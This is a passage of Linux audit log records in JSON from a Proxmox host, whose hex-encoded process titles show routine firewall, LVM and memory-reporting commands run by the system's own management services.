proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781965955473,"@rawstring":"node=pve type=PATH msg=audit(1781965955.473:67814): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964584669,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964584.669:61629): proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781965955473,"@rawstring":"node=pve type=PATH msg=audit(1781965955.473:67814): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964579911,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964579.911:61628): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965955473,"@rawstring":"node=pve type=PATH msg=audit(1781965955.473:67813): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964579911,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964579.911:61627): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965955468,"@rawstring":"node=pve type=PATH msg=audit(1781965955.468:67812): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964579911,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964579.911:61626): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965955468,"@rawstring":"node=pve type=PATH msg=audit(1781965955.468:67812): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964579900,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964579.900:61625): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965955468,"@rawstring":"node=pve type=PATH msg=audit(1781965955.468:67812): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964579900,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964579.900:61624): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965955460,"@rawstring":"node=pve type=PATH msg=audit(1781965955.460:67811): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964579900,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964579.900:61623): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965955460,"@rawstring":"node=pve type=PATH msg=audit(1781965955.460:67811): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964579800,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964579.800:61622): proctitle=61776B007B2073756D202B3D202431207D3B20454E44207B207072696E7466202822252E3066222C2073756D29207D"} {"@timestamp":1781965955452,"@rawstring":"node=pve type=PATH msg=audit(1781965955.452:67810): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964579800,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964579.800:61621): proctitle=7073002D43006B766D002D6F00707373"} {"@timestamp":1781965955452,"@rawstring":"node=pve type=PATH msg=audit(1781965955.452:67810): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964579798,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964579.798:61620): proctitle=61776B002F5E284D656D467265657C427566666572737C436163686564293A2F207B66726565202B3D2024327D3B20454E44207B207072696E7466202822252E3066222C206672656529207D002F70726F632F6D656D696E666F"} {"@timestamp":1781965955447,"@rawstring":"node=pve type=PATH msg=audit(1781965955.447:67809): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964575961,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964575.961:61619): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965955447,"@rawstring":"node=pve type=PATH msg=audit(1781965955.447:67809): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964575958,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964575.958:61618): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965955438,"@rawstring":"node=pve type=PATH msg=audit(1781965955.438:67808): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964575957,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964575.957:61617): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965955438,"@rawstring":"node=pve type=PATH msg=audit(1781965955.438:67808): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964575957,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964575.957:61616): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965955429,"@rawstring":"node=pve type=PATH msg=audit(1781965955.429:67807): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964575952,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964575.952:61615): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965955429,"@rawstring":"node=pve type=PATH msg=audit(1781965955.429:67807): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964575947,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964575.947:61614): proctitle=\"ip6tables-save\""} {"@timestamp":1781965954893,"@rawstring":"node=pve type=PATH msg=audit(1781965954.893:67806): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964575940,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964575.940:61613): proctitle=\"iptables-save\""} {"@timestamp":1781965954893,"@rawstring":"node=pve type=PATH msg=audit(1781965954.893:67806): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964575934,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964575.934:61612): proctitle=\"ip6tables-save\""} {"@timestamp":1781965954893,"@rawstring":"node=pve type=PATH msg=audit(1781965954.893:67805): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964575929,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964575.929:61611): proctitle=\"iptables-save\""} {"@timestamp":1781965954893,"@rawstring":"node=pve type=PATH msg=audit(1781965954.893:67804): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964575926,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964575.926:61610): proctitle=\"ebtables-restore\""} {"@timestamp":1781965954887,"@rawstring":"node=pve type=PATH msg=audit(1781965954.887:67803): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964575923,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964575.923:61609): proctitle=\"ebtables-restore\""} {"@timestamp":1781965954887,"@rawstring":"node=pve type=PATH msg=audit(1781965954.887:67803): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964575918,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964575.918:61608): proctitle=6970367461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965954887,"@rawstring":"node=pve type=PATH msg=audit(1781965954.887:67802): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964575913,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964575.913:61607): proctitle=6970367461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965954887,"@rawstring":"node=pve type=PATH msg=audit(1781965954.887:67801): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964575908,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964575.908:61606): proctitle=69707461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965954656,"@rawstring":"node=pve type=PATH msg=audit(1781965954.656:67800): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964575902,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964575.902:61605): proctitle=69707461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965954656,"@rawstring":"node=pve type=PATH msg=audit(1781965954.656:67800): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964575897,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964575.897:61604): proctitle=697073657400726573746F7265"} {"@timestamp":1781965954616,"@rawstring":"node=pve type=PATH msg=audit(1781965954.616:67799): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964575891,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964575.891:61603): proctitle=\"ip6tables-save\""} {"@timestamp":1781965954616,"@rawstring":"node=pve type=PATH msg=audit(1781965954.616:67799): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964575885,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964575.885:61602): proctitle=\"iptables-save\""} {"@timestamp":1781965953016,"@rawstring":"node=pve type=PATH msg=audit(1781965953.016:67798): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964575881,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964575.881:61601): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965953016,"@rawstring":"node=pve type=PATH msg=audit(1781965953.016:67798): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964575878,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964575.878:61600): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965953016,"@rawstring":"node=pve type=PATH msg=audit(1781965953.016:67798): item=0 name=\"/usr/bin/pvesh\" inode=304825 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964575878,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964575.878:61599): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965949880,"@rawstring":"node=pve type=PATH msg=audit(1781965949.880:67797): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964575878,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964575.878:61598): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965949880,"@rawstring":"node=pve type=PATH msg=audit(1781965949.880:67797): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964575874,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964575.874:61597): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965949880,"@rawstring":"node=pve type=PATH msg=audit(1781965949.880:67796): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964575867,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964575.867:61596): proctitle=\"ip6tables-save\""} {"@timestamp":1781965949880,"@rawstring":"node=pve type=PATH msg=audit(1781965949.880:67795): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964575861,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964575.861:61595): proctitle=\"iptables-save\""} {"@timestamp":1781965949872,"@rawstring":"node=pve type=PATH msg=audit(1781965949.872:67794): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964575856,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964575.856:61594): proctitle=69707365740073617665"} {"@timestamp":1781965949872,"@rawstring":"node=pve type=PATH msg=audit(1781965949.872:67794): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964575850,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964575.850:61593): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965949872,"@rawstring":"node=pve type=PATH msg=audit(1781965949.872:67793): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964575844,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964575.844:61592): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965949872,"@rawstring":"node=pve type=PATH msg=audit(1781965949.872:67792): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964574890,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964574.890:61591): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965945414,"@rawstring":"node=pve type=PATH msg=audit(1781965945.414:67791): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964574890,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964574.890:61590): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965945414,"@rawstring":"node=pve type=PATH msg=audit(1781965945.414:67791): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964574890,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964574.890:61589): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965945411,"@rawstring":"node=pve type=PATH msg=audit(1781965945.411:67790): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964574880,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964574.880:61588): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965945411,"@rawstring":"node=pve type=PATH msg=audit(1781965945.411:67790): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964574880,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964574.880:61587): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965945410,"@rawstring":"node=pve type=PATH msg=audit(1781965945.410:67789): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964574880,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964574.880:61586): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965945410,"@rawstring":"node=pve type=PATH msg=audit(1781965945.410:67789): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964574607,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964574.607:61585): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781965945410,"@rawstring":"node=pve type=PATH msg=audit(1781965945.410:67788): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964574581,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964574.581:61584): proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781965945404,"@rawstring":"node=pve type=PATH msg=audit(1781965945.404:67787): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964569874,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964569.874:61583): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965945404,"@rawstring":"node=pve type=PATH msg=audit(1781965945.404:67787): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964569874,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964569.874:61582): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965945404,"@rawstring":"node=pve type=PATH msg=audit(1781965945.404:67787): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964569874,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964569.874:61581): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965945397,"@rawstring":"node=pve type=PATH msg=audit(1781965945.397:67786): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964569866,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964569.866:61580): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965945397,"@rawstring":"node=pve type=PATH msg=audit(1781965945.397:67786): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964569866,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964569.866:61579): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965945388,"@rawstring":"node=pve type=PATH msg=audit(1781965945.388:67785): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964569866,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964569.866:61578): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965945388,"@rawstring":"node=pve type=PATH msg=audit(1781965945.388:67785): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964565834,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964565.834:61577): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965945378,"@rawstring":"node=pve type=PATH msg=audit(1781965945.378:67784): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964565831,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964565.831:61576): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965945378,"@rawstring":"node=pve type=PATH msg=audit(1781965945.378:67784): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964565829,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964565.829:61575): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965945371,"@rawstring":"node=pve type=PATH msg=audit(1781965945.371:67783): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964565829,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964565.829:61574): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965945371,"@rawstring":"node=pve type=PATH msg=audit(1781965945.371:67783): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964565826,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964565.826:61573): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965945364,"@rawstring":"node=pve type=PATH msg=audit(1781965945.364:67781): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964565819,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964565.819:61572): proctitle=\"ip6tables-save\""} {"@timestamp":1781965945364,"@rawstring":"node=pve type=PATH msg=audit(1781965945.364:67781): item=0 name=\"/sbin/ebtables-restore\" inode=274520 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964565814,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964565.814:61571): proctitle=\"iptables-save\""} 